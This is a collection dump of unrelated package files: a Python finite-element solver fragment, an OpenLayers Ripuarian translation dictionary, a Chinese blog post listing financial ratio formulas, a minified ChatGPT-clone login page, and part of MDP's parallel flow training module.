RESULTS[J_ELEMENT]['N'][I_COUNT] = N RESULTS[J_ELEMENT]['V'][I_COUNT] = V RESULTS[J_ELEMENT]['M'][I_COUNT] = M return RESULTS def MEF2D(**kwargs): """ This function performs structural analysis via finite elements conside- ring flat surface elements (CST) Input: All inputs kwargs arguments type. FILENAME | Structural dataset | txt extension DICTIONARY | Structural dataset | Py dictionary Output: RESULTS | Structural analysis results by node | Py dictionary """ # Read input file FILENAME = kwargs.get('FILENAME') DICTIONARY = kwargs.get('DICTIONARY') if FILENAME: [N_NODES, N_MATERIALS, N_THICKNESS, N_ELEMENTST3, N_ELEMENTST6, N_ELEMENTST10, N_FORCES, N_PRESSURES, N_DISPLACEMENTS, TYPE_PLANE, TYPE_ELEMENT, TYPE_SOLUTION, TYPE_INTEGRATION, COORDINATES, MATERIALS, THICKNESS, ELEMENTS, NODAL_LOAD, PRESCRIPTIONS] = FINITO_CL.GET_VALUE_FROM_TXT_MEF2D_FINITO(FILENAME) else: pass # Creating the algorithm's internal parameters N_DOFSNODE, N_NODESELEMENT, DOFS_LOCAL, AUX_1, AUX_2, N_DOFSELEMENT = FINITO_CL.INDEX_ASSEMBLY(TYPE_ELEMENT) # Global DOF assembly DOF_GLOBALNODAL = FINITO_CL.DOF_GLOBAL_ASSEMBLY(TYPE_ELEMENT, N_DOFSNODE, N_NODES) # DOF's total, prescriptions and free DOF_GLOBAL, N_DOFSGLOBAL = FINITO_CL.TOTAL_DEGREE_FREEDOM(N_DOFSNODE, N_NODES) DOF_PRESCRIPTIONS, DOF_PRESCRIPTIONSVALUE, N_DOFSPRESCRIPTIONS = FINITO_CL.PRESCRIPTIONS_DEGREE_FREEDOM(PRESCRIPTIONS, DOF_GLOBALNODAL) DOF_FREE, N_DOFSFREE = FINITO_CL.FREE_DEGREE_FREEDOM(DOF_PRESCRIPTIONS, DOF_GLOBAL) # Nodal load contribuition DOF_NODALFORCE = FINITO_CL.CONTRIBUTION_NODAL_EXTERNAL_LOAD(NODAL_LOAD, N_DOFSGLOBAL, DOF_GLOBALNODAL) F_G = DOF_NODALFORCE # Structure stiffness matrix K_G = np.zeros((N_DOFSGLOBAL, N_DOFSGLOBAL)) # Numerical integration properties NUM_INT = FINITO_CL.NUMERICAL_INTEGRATION(TYPE_INTEGRATION) for I_ELEMENT in range(N_ELEMENTST3): # Material and section properties in i element C_IELEMENT = FINITO_CL.CONSTITUTIVE_C(TYPE_PLANE, MATERIALS, ELEMENTS, I_ELEMENT) SECTION_IELEMENT = FINITO_CL.GEOMETRIC_PROPERTIES_1(COORDINATES, ELEMENTS, I_ELEMENT, THICKNESS, AUX_2) # i stiffness matrix K_IELEMENTGLOBAL = FINITO_CL.ELEMENT_STIFFNESS_1(NUM_INT, N_DOFSELEMENT, TYPE_ELEMENT, N_NODESELEMENT, C_IELEMENT, SECTION_IELEMENT) # Global DOF in i element DOF_GLOBALIELEMENT = FINITO_CL.GLOBAL_DOF_ELEMENT(N_NODESELEMENT, N_DOFSNODE, DOF_GLOBALNODAL, ELEMENTS, I_ELEMENT) K_GCONTRIBUITION = FINITO_CL.GLOBAL_STIFFNESS(N_DOFSGLOBAL, DOF_GLOBALIELEMENT, K_IELEMENTGLOBAL) K_G = K_G + K_GCONTRIBUITION if TYPE_SOLUTION == 1: K_G, F_G = FINITO_CL.ZERO_AND_ONE_METHOD(K_G, F_G, DOF_PRESCRIPTIONS, DOF_PRESCRIPTIONSVALUE) U_G = np.linalg.solve(K_G, F_G) RESULTS = U_G return RESULTS
PypiClean
/GeoNode-3.2.0-py3-none-any.whl/geonode/static/geonode/js/ol-2.13/lib/OpenLayers/Lang/ksh.js
* @requires OpenLayers/Lang.js */ /** * Namespace: OpenLayers.Lang["ksh"] * Dictionary for Ripoarisch. Keys for entries are used in calls to * <OpenLayers.Lang.translate>. Entry bodies are normal strings or * strings formatted for use with <OpenLayers.String.format> calls. */ OpenLayers.Lang["ksh"] = OpenLayers.Util.applyDefaults({ 'unhandledRequest': "Met dä Antwoot op en Aanfrooch ham_mer nix aanjefange: ${statusText}", 'Permalink': "Lengk op Duuer", 'Overlays': "Drövver jelaat", 'Base Layer': "Jrund-Nivoh", 'noFID': "En Saach, woh kein \x3ci lang=\"en\"\x3eFID\x3c/i\x3e för doh es, löht sesch nit ändere.", 'browserNotSupported': "Dinge Brauser kann kein Väktore ußjävve. De Zoote Ußjaabe, di em Momang jon, sen:\n${renderers}", 'minZoomLevelError': "De Eijeschaff „\x3ccode lang=\"en\"\x3eminZoomLevel\x3c/code\x3e“ es bloß doför jedaach, dat mer se met dä Nivvohß bruch, di vun \x3ccode lang=\"en\"\x3eFixedZoomLevels\x3c/code\x3e affhange don. Dat dat \x3ci lang=\"en\"\x3eWFS\x3c/i\x3e-Nivvoh övverhoup de Eijeschaff „\x3ccode lang=\"en\"\x3eminZoomLevel\x3c/code\x3e“ pröhfe deiht, es noch övveresch vun fröhjer. Mer künne dat ävver jez nit fott lohße, oohne dat mer Jevaa loufe, dat Aanwendunge vun OpenLayers nit mieh loufe, di sesch doh velleijsch noch drop am verlohße sin. Dröm sare mer, dat mer et nit mieh han welle, un de „\x3ccode lang=\"en\"\x3eminZoomLevel\x3c/code\x3e“-Eijeschaff weed hee vun de Version 3.0 af nit mieh jeprööf wäde. Nemm doför de Enstellung för de hühßte un de kleinßte Oplöhsung, esu wi et en http://trac.openlayers.org/wiki/SettingZoomLevels opjeschrevve es.", 'commitSuccess': "Dä \x3ci lang=\"en\"\x3eWFS\x3c/i\x3e-Vörjang es joot jeloufe: ${response}", 'commitFailed': "Dä \x3ci lang=\"en\"\x3eWFS\x3c/i\x3e-Vörjang es scheif jejange: ${response}", 'googleWarning': "Dat Nivvoh \x3ccode lang=\"en\"\x3eGoogle\x3c/code\x3e kunnt nit reschtesch jelaade wääde.\x3cbr /\x3e\x3cbr /\x3eÖm hee di Nohreesch loß ze krijje, donn en ander Jrund-Nivvoh ußsöhke, rähß bovve en de Äk.\x3cbr /\x3e\x3cbr /\x3eWascheinlesch es dat wiel dat \x3ci lang=\"en\"\x3eGoogle-Maps\x3c/i\x3e-Skrepp entweeder nit reschtesch enjebonge wood, udder nit dä reschtejje \x3ci lang=\"en\"\x3eAPI\x3c/i\x3e-Schlößel för Ding Web-ßait scheke deiht.\x3cbr /\x3e\x3cbr /\x3eFör Projrammierer jidd_et Hölp do_drövver, \x3ca href=\"http://trac.openlayers.org/wiki/Google\" target=\"_blank\"\x3ewi mer dat aan et Loufe brengk\x3c/a\x3e.", 'getLayerWarning': "Dat Nivvoh \x3ccode\x3e${layerType}\x3c/code\x3e kunnt nit reschtesch jelaade wääde.\x3cbr /\x3e\x3cbr /\x3eÖm hee di Nohreesch loß ze krijje, donn en ander Jrund-Nivvoh ußsöhkre, rähß bovve en de Äk.\x3cbr /\x3e\x3cbr /\x3eWascheinlesch es dat, wiel dat Skrepp \x3ccode\x3e${layerLib}\x3c/code\x3e nit reschtesch enjebonge wood.\x3cbr /\x3e\x3cbr /\x3eFör Projrammierer jidd_Et Hölp do_drövver, \x3ca href=\"http://trac.openlayers.org/wiki/${layerLib}\" target=\"_blank\"\x3ewi mer dat aan et Loufe brengk\x3c/a\x3e.", 'Scale = 1 : ${scaleDenom}': "Mohßshtaab = 1 : ${scaleDenom}", 'W': "W", 'E': "O", 'N': "N", 'S': "S", 'reprojectDeprecated': "Do bruchs de Ußwahl \x3ccode\x3ereproject\x3c/code\x3e op däm Nivvoh \x3ccode\x3e${layerName}\x3c/code\x3e. Di Ußwahl es nit mieh jähn jesinn. Se wohr doför jedaach, öm Date op jeschääfsmäßesch eruß jejovve Kaate bovve drop ze moole, wat ävver enzwesche besser met dä Öngershtözung för de ßfääresche Mäkaator Beldscher jeiht. Doh kanns De mieh drövver fenge op dä Sigg: http://trac.openlayers.org/wiki/SphericalMercator.", 'methodDeprecated': "Hee di Metood es nim_mih aktoäll un et weed se en dä Version 3.0 nit mieh jävve. Nemm \x3ccode\x3e${newMethod}\x3c/code\x3e doföör." });
PypiClean
/Jalapeno-0.1.4.tar.gz/Jalapeno-0.1.4/Jalapeno_data/Sites/first/Pages/blog/9.md
title: 财务报表分析:比率分析简介 date: 2016-09-20 tag: 公司金融 [TOC] <!--Sidebar--> ##比率分析简介 比率分析是一种常用的分析手段,它可以根据公司的财务数据进行公式化的计算。从而可以更方便地进行横向(公司之间)比较和纵向(不同时间点)的比较。有了财务比率分析: - 财务经理可以更清楚地了解公司的运营状况并找到可以提升的空间 - 外部投资者可以更具体地了解公司的状况并作出投资决策 - 债权人可以评估公司的清场债务的能力 - 证券分析师可以准确地对股票进行估值 ##短期偿付能力指标(流动性指标) 短期偿付能力指标,又称为流动性指标。它展示公司目前的流动性,并且指出公司清偿短期债务的能力。通常来讲,流动性越高,公司的偿债能力就越强,风险就越小;但是保持过高的流动性会造成一定的资源浪费(钱不能用于投资以及生产活动),会使得收益下降。 - 流动比率(Current Ratio) 流动比率是衡量一个公司的流动性的基础标准,建立于流动资产和流动债务的数据之上 流动比率(Current ratio) = 流动资产(Current assets) / 流动债务(Current Liabilities) - 速动比率(Quick Ratio): 速动资产 = 流动资产 - 存货 排除了存货,相比流动资产速动资产变现的能力更加强也更加快速,通常可以在一天内 或者几个小时之内套现。 速动比率和流动比率类似,区别是这里使用了速动资产而不是流动资产。 速动比率(Quick ratio) = 速动资产(Quick assets) / 流动债务(Current Liabilities) <!--More--> - 现金比率(Cash Ratio) 现金比率(Cash ratio) = 现金(Cash) / 流动债务(Current Liabilities) - 净营运资本对总资产比率(NWC to Assets) 了解一个公司将多少资本投入到运营中 - (Interval Measure incl) 衡量一个公司在没有外部现金流入的情况下可以正常运作的时间(天) Interval Measure = 流动资产(Current Assets) / 平均运营成本(Avg Operating Exp) <!--也可以写作 Interval Measure = 流动资产(Current Assets) / [销售总额(Sales) - 息税折旧摊销前利润(EBITDA) + 税(Tax) + 利息(Int))/365] - (Interval Measure incl. interest)--> ##长期债务清偿能力(Long-Term Solvency measures) - 总债务比率(Total Debt Ratio) 总债务比率(Total Debt Ratio) = (总资产(total assets) - 总股本(Total Equity)) /总资产(total assets) - 债务产权比率(Debt-Equity Ratio) 债务产权比率(Debt-Equity Ratio) = 总债务(Total Debt) / 总股本(Total Equity) - 长期债务比率(Long-term debt Ratio) 长期债务比率(Long-term debt Ratio) = 长期债务(Long-term Debt) / (长期债务(Long-term Debt)+长期股本(Long-term Equity)) - 利息保障倍数(Times interest Earned Ratio) 利息保障倍数(Times interest Earned Ratio) = 息税前利润(EBIT) / 利息(Interest) - 现金涵盖率(Cash Coverage Ratio) 现金涵盖率(Cash Coverage Ratio) = 息税折旧前利润(EBITDA) / 利息(Interest) ##资产管理(Asset Management/Turnover Measures) - 存货周转率(Inventory Turnover Ratio) 存货周转率(Inventory Turnover Ratio) = 销货成本(Cost of Good Sold) / 存货(Inventory) 存货周转率(Inventory Turnover Ratio) = 销货成本Cost of Good Sold) / 两年存货平均值(Inventoryt + Inventory t-1)/2 - 存货周期(Inventory Period) 存货周期(Inventory Period) = 365 / 存货周转率(Inventory Turnover) - 应收账款周转率(Receivables Turnover Ratio) 应收账款周转率(Receivables Turnover Ratio) = 销售额(Sales) / 应收账款(A/R) 应收账款周转率(Receivables Turnover Ratio) = 销售额(Sales) / 应收账款平均值(A/Rt1 - A/Rt-1)/2 - 应收账款周期(A/R Period) 应收账款周期(A/R Period) = 365 / 应收账款周转率(Receivables Turnover Ratio) - 应付款项周转率(Payables Turnover Ratio) 应付款项周转率(Payables Turnover Ratio) = 销售额(Sales) /应付款项 (A/P) 应收账款周转率(Payables Turnover Ratio) = 销售额(Sales) /应收账款平均值 (A/Pt1 - A/Pt-1)/2 - 应付款项周期(A/P Period) 应付款项周期(A/P Period) = 365 / 应收账款周转率(Payables Turnover Ratio) - 净营运资本周转率(Net Working Capital turnover Ratio) 净营运资本周转率(Net Working Capital turnover Ratio) = 销售额(Sales) / 净营运资本(NWC) ###固定资产管理(Fixed Asset Management Ratios) - 固定资产周转率(Fixed Asset Turnover Ratio) 固定资产周转率(Fixed Asset Turnover Ratio) = 销售额(Sales) / 固定资产净值(Net Fixed Assets) - 固定资产周期(Total asset Turnover ratio) 固定资产周期(Total asset Turnover ratio) = 销售额(Sales) / 总资产(total assets) ##成本结构和利润率(Cost Structure and profitability Measures) - 成本比率(Cost of Goods Sold to Sales) 成本比率(Cost of Goods Sold to Sales) = 销售成本(COGS) / 销售额(Sales) - 间接成本比率(SG&A to Sales) 间接成本比率(SG&A to Sales) = 间接成本(SG&A) / 销售额(Sales) - 销售利润率(Return on Sales(Profit Margin or ROS)) 销售利润率(Return on Sales(Profit Margin or ROS)) = 净利润(NI) / 销售额(Sales) - 资产收益率Return on Assets(ROA) 资产收益率(ROA) = 净利润(NI) / 总资产(total assets) - 股本回报率(Return on Equity) 股本回报率(ROE) = 净利润(NI) / 总股本(Total Equity) ### - 投资资本回报率(Return On Invested Captial(ROIC)) 投资资本回报率(ROIC) = 息税前利润(EBIT) x (1-税率(Tax)) / (长期债务(LT Debt) + 总股本(Total Equity)) - 投资资本现金回报率(Cash Return on Invested Captial ) 投资资本回报率(CRIC) = (Cash flow from Operations - CAPX) /( LT Debt + Equity) ##市值评估(Market Value Measures) - 股本市值(Market Value of Equity(MVE)) 股本市值(MVE) = 外部流通股票(Common Shares Outstand) x 股价(Share Price) - 企业净值(net Enterprise Value) 企业净值(net EV) = 股本市值(MVE) + 债务市值(MVD) - 现金(Cash) >MVD: >Cash - 企业总值(Total Enterprise Value(Total EV)) 企业总值(Total Enterprise Value(Total EV)) = 股本市值(MVE) + 债务市值(MVD) <!--- EV/Sales Ev to sales = EV /Sales - EV/EBITDA - P/S P/S = Price per share / Sales Per Share--> - 市盈率(Price-Earnings Ratio(P/E)) 市盈率(P/E) = 每股价格(Price per Share) / 每股收益(Earning per share) - 市盈与增长比率(Price-Earning to Growth Ratio(PEG)) 市盈与增长比率(PEG) = 市盈率(P/E) / 收益增长率(Growth rate in Earnings) - 市价与账面值比率(Market to book Ratio(M/B)) 市价与账面值比率(M/B) = 每股市价(MV-EquityPS) / 每股账面价格(BV-EquityPS) ###Tobins Q Ratio MVA = [Σt=1..∞ CFAt/(1+rA)t] TbQ = 公司市值(MVA) / 总资产(Replacement Cost of Assets) = (股本市值(Market Value Equity) + 债务面值(Book Value Debt)) / 总资产(total assets)
PypiClean
/ChatGPT-Cloud-0.6.6.tar.gz/ChatGPT-Cloud-0.6.6/src/pandora_cloud/flask/static/_next/static/chunks/pages/auth/login-267fffdf86e9e08a.js
(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[344],{30282:function(e,n,t){(window.__NEXT_P=window.__NEXT_P||[]).push(["/auth/login",function(){return t(75083)}])},75083:function(e,n,t){"use strict";t.r(n),t.d(n,{__N_SSP:function(){return p},default:function(){return g}});var i=t(39324),l=t(35250),r=t(19841),s=t(12155);t(9181);var a=t(60554),c=t(70079),o=t(58380),u=t(67273),h=t(61564),f=t(18718),d=t(21739),x=t(62509),p=!0;function g(e){return(0,l.jsx)(m,(0,i._)({},e))}function m(e){var n=e.serviceStatus,t=e.featureFlagFailwhaleEnabled,i=e.featureFlagShouldShowBypass,r=e.enableNewAuthFlow,p=e.auth0Provider,g=(0,a.useRouter)(),m=g.query.next,j="string"==typeof m&&m.startsWith("/")?m:"/",b=(0,d.g)(function(e){return e.updateFlagValue}),w=t||!!(null==n?void 0:n.oof);(0,c.useEffect)(function(){void 0!==i&&b("failwhaleBypassEnabled",i)},[b,i]);var C="sso"in g.query&&(g.query.sso||!0);return(0,c.useEffect)(function(){C&&!w&&(0,s.signIn)("openai"===C?"openai":"auth0",{callbackUrl:j})},[j,C,w]),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(f.Z,{}),w?(0,l.jsx)(h.Z,{}):C?null:(0,l.jsx)(o.Wk,{children:(0,l.jsxs)(o.xh,{children:[(0,l.jsx)(o.jI,{}),!1,(0,l.jsx)("div",{className:"mb-2 text-center",children:"Welcome to ChatGPT"}),r?(0,l.jsx)(l.Fragment,{children:(0,l.jsxs)("div",{className:"mt-4 flex w-64 flex-col gap-3 ",children:[(0,l.jsx)(v,{icon:"url(\"data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' viewBox='0 0 48 48'%3E%3Cdefs%3E%3Cpath id='a' d='M44.5 20H24v8.5h11.8C34.7 33.9 30.1 37 24 37c-7.2 0-13-5.8-13-13s5.8-13 13-13c3.1 0 5.9 1.1 8.1 2.9l6.4-6.4C34.6 4.1 29.6 2 24 2 11.8 2 2 11.8 2 24s9.8 22 22 22c11 0 21-8 21-22 0-1.3-.2-2.7-.5-4z'/%3E%3C/defs%3E%3CclipPath id='b'%3E%3Cuse xlink:href='%23a' overflow='visible'/%3E%3C/clipPath%3E%3Cpath clip-path='url(%23b)' fill='%23FBBC05' d='M0 37V11l17 13z'/%3E%3Cpath clip-path='url(%23b)' fill='%23EA4335' d='M0 11l17 13 7-6.1L48 14V0H0z'/%3E%3Cpath clip-path='url(%23b)' fill='%2334A853' d='M0 37l30-23 7.9 1L48 0v48H0z'/%3E%3Cpath clip-path='url(%23b)' fill='%234285F4' d='M48 48L17 24l-4-3 35-10z'/%3E%3C/svg%3E\")",onClick:function(){return(0,s.signIn)("openai",{callbackUrl:j},{prompt:"login",login_hint:(0,x.W_)({idp:"google"})})},children:"Continue with Google"}),(0,l.jsx)(v,{icon:"url(\"data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='21' height='21'%3E%3Cpath fill='%23f25022' d='M1 1h9v9H1z'/%3E%3Cpath fill='%2300a4ef' d='M1 11h9v9H1z'/%3E%3Cpath fill='%237fba00' d='M11 1h9v9h-9z'/%3E%3Cpath fill='%23ffb900' d='M11 11h9v9h-9z'/%3E%3C/svg%3E\")",onClick:function(){return(0,s.signIn)("openai",{callbackUrl:j},{prompt:"login",login_hint:(0,x.W_)({idp:"microsoft"})})},children:"Continue with Microsoft"}),(0,l.jsxs)("div",{className:"align-center my-2 flex justify-center text-xs",children:[(0,l.jsx)("div",{className:"mt-2 flex-auto border-t border-gray-700"}),(0,l.jsx)("div",{className:"flex-initial px-3",children:"Or try another way"}),(0,l.jsx)("div",{className:"mt-2 flex-auto border-t border-gray-700"})]}),(0,l.jsxs)("div",{className:"grid grid-cols-2 gap-3",children:[(0,l.jsx)(v,{className:"justify-center",onClick:function(){return(0,s.signIn)("openai",{callbackUrl:j},{prompt:"login",login_hint:(0,x.W_)({idp:"openai"})})},children:"Log in"}),(0,l.jsx)(v,{className:"justify-center",onClick:function(){return(0,s.signIn)("openai",{callbackUrl:j},{prompt:"login",login_hint:(0,x.W_)({idp:"openai",screen:"signup"})})},children:"Sign up"})]})]})}):(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)("div",{className:"mb-4 text-center",children:"Log in with your OpenAI account to continue"}),(0,l.jsxs)("div",{className:"flex flex-row gap-3",children:[(0,l.jsx)(u.z,{as:"button",onClick:function(){return(0,s.signIn)(p,{callbackUrl:j},{prompt:"login"})},children:"Log in"}),(0,l.jsx)(u.z,{as:"button",onClick:function(){return(0,s.signIn)(p,{callbackUrl:j},{prompt:"login",screen_hint:"signup"})},children:"Sign up"})]})]})]})})]})}function v(e){var n=e.icon,t=e.children,i=e.className,s=e.textAlign,a=e.onClick;return(0,l.jsxs)("button",{className:(0,r.Z)("btn-neutral flex items-center gap-3 rounded p-3 text-base","center"===(void 0===s?"left":s)?"text-center":"text-left",i),onClick:a,children:[n?(0,l.jsx)("div",{className:"h-5 w-5",style:{backgroundImage:n}}):null,(0,l.jsx)("div",{children:t})]})}},58380:function(e,n,t){"use strict";t.d(n,{Wk:function(){return o},jI:function(){return h},xh:function(){return c}});var i=t(4337),l=t(35250),r=t(21389),s=t(88327);function a(){var e=(0,i._)(["w-96 flex flex-col flex-auto justify-center items-center"]);return a=function(){return e},e}var c=r.Z.div(a());function o(e){var n=e.children,t=e.showTerms;return(0,l.jsxs)("div",{className:"flex h-full w-full flex-col items-center justify-center bg-gray-50 dark:bg-gray-800",children:[n,(void 0===t||t)&&(0,l.jsx)(u,{})]})}function u(){return(0,l.jsxs)("div",{className:"py-3 text-xs",children:[(0,l.jsx)("a",{href:"https://openai.com/policies/terms-of-use",target:"_blank",className:"mx-3 text-gray-500",rel:"noreferrer",children:"Terms of use"}),(0,l.jsx)("span",{className:"text-gray-600",children:"|"}),(0,l.jsx)("a",{href:"https://openai.com/policies/privacy-policy",target:"_blank",className:"mx-3 text-gray-500",rel:"noreferrer",children:"Privacy policy"})]})}function h(){return(0,l.jsx)("div",{className:"mb-5",children:(0,l.jsx)(s.nI,{})})}}},function(e){e.O(0,[564,774,888,179],function(){return e(e.s=30282)}),_N_E=e.O()}]);
PypiClean
/MDP-3.6.tar.gz/MDP-3.6/mdp/parallel/parallelflows.py
from __future__ import print_function from builtins import zip from builtins import str from builtins import next from builtins import range import mdp from mdp import numx as n from .parallelnodes import NotForkableParallelException from .scheduling import ( TaskCallable, ResultContainer, OrderedResultContainer, Scheduler ) from mdp.hinet import FlowNode ### Helper code for node purging before transport. ### class _DummyNode(mdp.Node): """Dummy node class for empty nodes.""" @staticmethod def is_trainable(): return False def _execute(self, x): err = "This is only a dummy created by 'parallel._purge_flownode'." raise mdp.NodeException(err) _DUMMY_NODE = _DummyNode() def _purge_flownode(flownode): """Replace nodes that are """ for i_node, node in enumerate(flownode._flow): if not (node._train_phase_started or node.use_execute_fork()): flownode._flow.flow[i_node] = _DUMMY_NODE ### Train task classes ### class FlowTaskCallable(TaskCallable): """Base class for all flow callables. It deals activating the required extensions. """ def __init__(self): """Store the currently active extensions.""" self._used_extensions = mdp.get_active_extensions() super(FlowTaskCallable, self).__init__() def setup_environment(self): """Activate the used extensions.""" # deactivate all active extensions for safety mdp.deactivate_extensions(mdp.get_active_extensions()) mdp.activate_extensions(self._used_extensions) class FlowTrainCallable(FlowTaskCallable): """Implements a single training phase in a flow for a data block. A FlowNode is used to simplify the forking process and to encapsulate the flow. You can also derive from this class to define your own callable class. """ def __init__(self, flownode, purge_nodes=True): """Store everything for the training. keyword arguments: flownode -- FlowNode containing the flow to be trained. purge_nodes -- If True nodes not needed for the join will be replaced with dummy nodes to reduce the footprint. """ self._flownode = flownode self._purge_nodes = purge_nodes super(FlowTrainCallable, self).__init__() def __call__(self, data): """Do the training and return only the trained node. data -- training data block (array or list if additional arguments are required) """ if type(data) is n.ndarray: self._flownode.train(data) else: self._flownode.train(*data) # note the local training in ParallelFlow relies on the flownode # being preserved, so derived classes should preserve it as well if self._purge_nodes: _purge_flownode(self._flownode) return self._flownode def fork(self): return self.__class__(self._flownode.fork(), purge_nodes=self._purge_nodes) class TrainResultContainer(ResultContainer): """Container for parallel nodes. Expects flownodes as results and joins them to save memory. A list containing one flownode is returned, so this container can replace the standard list container without any changes elsewhere. """ def __init__(self): super(TrainResultContainer, self).__init__() self._flownode = None def add_result(self, result, task_index): if not self._flownode: self._flownode = result else: self._flownode.join(result) def get_results(self): flownode = self._flownode self._flownode = None return [flownode,] ### Execute task classes ### class FlowExecuteCallable(FlowTaskCallable): """Implements data execution through a Flow. A FlowNode is used to simplify the forking process and to encapsulate the flow. """ def __init__(self, flownode, nodenr=None, purge_nodes=True): """Store everything for the execution. flownode -- FlowNode for the execution nodenr -- optional nodenr argument for the flow execute method purge_nodes -- If True nodes not needed for the join will be replaced with dummy nodes to reduce the footprint. """ self._flownode = flownode self._nodenr = nodenr self._purge_nodes = purge_nodes super(FlowExecuteCallable, self).__init__() def __call__(self, x): """Return the execution result. x -- data chunk If use_fork_execute is True for the flownode then it is returned in the result tuple. """ y = self._flownode.execute(x, nodenr=self._nodenr) if self._flownode.use_execute_fork(): if self._purge_nodes: _purge_flownode(self._flownode) return (y, self._flownode) else: return (y, None) def fork(self): return self.__class__(self._flownode.fork(), nodenr=self._nodenr, purge_nodes=self._purge_nodes) class ExecuteResultContainer(OrderedResultContainer): """Default result container with automatic restoring of the result order. This result container should be used together with BiFlowExecuteCallable. Both the execute result (x and possibly msg) and the forked BiFlowNode are stored. """ def __init__(self): """Initialize attributes.""" super(ExecuteResultContainer, self).__init__() self._flownode = None def add_result(self, result, task_index): """Remove the forked BiFlowNode from the result and join it.""" excecute_result, forked_flownode = result super(ExecuteResultContainer, self).add_result(excecute_result, task_index) if forked_flownode is not None: if self._flownode is None: self._flownode = forked_flownode else: self._flownode.join(forked_flownode) def get_results(self): """Return the ordered results. The joined BiFlowNode is returned in the first result list entry, for the following result entries BiFlowNode is set to None. This reduces memory consumption while staying transparent for the ParallelBiFlow. """ excecute_results = super(ExecuteResultContainer, self).get_results() flownode_results = ([self._flownode,] + ([None] * (len(excecute_results)-1))) return list(zip(excecute_results, flownode_results)) ### ParallelFlow Class ### class ParallelFlowException(mdp.FlowException): """Standard exception for problems with ParallelFlow.""" pass class NoTaskException(ParallelFlowException): """Exception for problems with the task creation.""" pass class ParallelFlow(mdp.Flow): """A parallel flow provides the methods for parallel training / execution. Nodes in the flow which are not derived from ParallelNode are trained in the normal way. The training is also done normally if fork() raises a TrainingPhaseNotParallelException. This can be intentionally used by the node to request local training without forking. Parallel execution on the other hand should work for all nodes, since it only relies on the copy method of nodes. The stop_training method is always called locally, with no forking or copying involved. Both parallel training and execution can be done conveniently by providing a scheduler instance to the train or execute method. It is also possible to manage the tasks manually. This is done via the methods setup_parallel_training (or execution), get_task and use_results. The code of the train / execute method can serve as an example how to use these methods and process the tasks by a scheduler. """ def __init__(self, flow, verbose=False, **kwargs): """Initialize the internal variables. Note that the crash_recovery flag is is not supported, so it is disabled. """ kwargs["crash_recovery"] = False super(ParallelFlow, self).__init__(flow, verbose=verbose, **kwargs) self._train_data_iterables = None # all training data self._train_data_iterator = None # iterator for current training # index of currently trained node, also used as flag for training # takes value None for not training self._i_train_node = None self._flownode = None # used during training # iterable for execution data # also signals if parallel execution is underway self._exec_data_iterator = None self._next_task = None # buffer for next task self._train_callable_class = None self._execute_callable_class = None @mdp.with_extension("parallel") def train(self, data_iterables, scheduler=None, train_callable_class=None, overwrite_result_container=True, **kwargs): """Train all trainable nodes in the flow. If a scheduler is provided the training will be done in parallel on the scheduler. data_iterables -- A list of iterables, one for each node in the flow. The iterators returned by the iterables must return data arrays that are then used for the node training. See Flow.train for more details. If a custom train_callable_class is used to preprocess the data then other data types can be used as well. scheduler -- Value can be either None for normal training (default value) or a Scheduler instance for parallel training with the scheduler. If the scheduler value is an iterable or iterator then it is assumed that it contains a scheduler for each training phase. After a node has been trained the scheduler is shutdown. Note that you can e.g. use a generator to create the schedulers just in time. For nodes which are not trained the scheduler can be None. train_callable_class -- Class used to create training callables for the scheduler. By specifying your own class you can implement data transformations before the data is actually fed into the flow (e.g. from 8 bit image to 64 bit double precision). Note that the train_callable_class is only used if a scheduler was provided. By default NodeResultContainer is used. overwrite_result_container -- If set to True (default value) then the result container in the scheduler will be overwritten with an instance of NodeResultContainer (unless it is already an instance of NodeResultContainer). This improves the memory efficiency. """ # Warning: If this method is updated you also have to update train # in ParallelCheckpointFlow. if self.is_parallel_training: raise ParallelFlowException("Parallel training is underway.") if scheduler is None: if train_callable_class is not None: err = ("A train_callable_class was specified but no scheduler " "was given, so the train_callable_class has no effect.") raise ParallelFlowException(err) super(ParallelFlow, self).train(data_iterables, **kwargs) else: if train_callable_class is None: train_callable_class = FlowTrainCallable schedulers = None # do parallel training try: self.setup_parallel_training( data_iterables, train_callable_class=train_callable_class, **kwargs) # prepare scheduler if not isinstance(scheduler, Scheduler): # scheduler contains an iterable with the schedulers # self._i_train_node was set in setup_parallel_training schedulers = iter(scheduler) scheduler = next(schedulers) if self._i_train_node > 0: # dispose schedulers for pretrained nodes for _ in range(self._i_train_node): if scheduler is not None: scheduler.shutdown() scheduler = next(schedulers) elif self._i_train_node is None: # all nodes are already trained, dispose schedulers for _ in range(len(self.flow) - 1): if scheduler is not None: scheduler.shutdown() # the last scheduler will be shutdown in finally scheduler = next(schedulers) last_trained_node = self._i_train_node else: schedulers = None # check that the scheduler is compatible if ((scheduler is not None) and overwrite_result_container and (not isinstance(scheduler.result_container, TrainResultContainer))): scheduler.result_container = TrainResultContainer() ## train all nodes while self.is_parallel_training: while self.task_available: task = self.get_task() scheduler.add_task(*task) results = scheduler.get_results() if results == []: err = ("Could not get any training tasks or results " "for the current training phase.") raise Exception(err) else: self.use_results(results) # check if we have to switch to next scheduler if ((schedulers is not None) and (self._i_train_node is not None) and (self._i_train_node > last_trained_node)): # dispose unused schedulers for _ in range(self._i_train_node - last_trained_node): if scheduler is not None: scheduler.shutdown() scheduler = next(schedulers) last_trained_node = self._i_train_node # check that the scheduler is compatible if ((scheduler is not None) and overwrite_result_container and (not isinstance(scheduler.result_container, TrainResultContainer))): scheduler.result_container = TrainResultContainer() finally: # reset iterable references, which cannot be pickled self._train_data_iterables = None self._train_data_iterator = None if (schedulers is not None) and (scheduler is not None): scheduler.shutdown() def setup_parallel_training(self, data_iterables, train_callable_class=FlowTrainCallable): """Prepare the flow for handing out tasks to do the training. After calling setup_parallel_training one has to pick up the tasks with get_task, run them and finally return the results via use_results. tasks are available as long as task_available returns True. Training may require multiple phases, which are each closed by calling use_results. data_iterables -- A list of iterables, one for each node in the flow. The iterators returned by the iterables must return data arrays that are then used for the node training. See Flow.train for more details. If a custom train_callable_class is used to preprocess the data then other data types can be used as well. train_callable_class -- Class used to create training callables for the scheduler. By specifying your own class you can implement data transformations before the data is actually fed into the flow (e.g. from 8 bit image to 64 bit double precision). """ if self.is_parallel_training: err = "Parallel training is already underway." raise ParallelFlowException(err) self._train_callable_class = 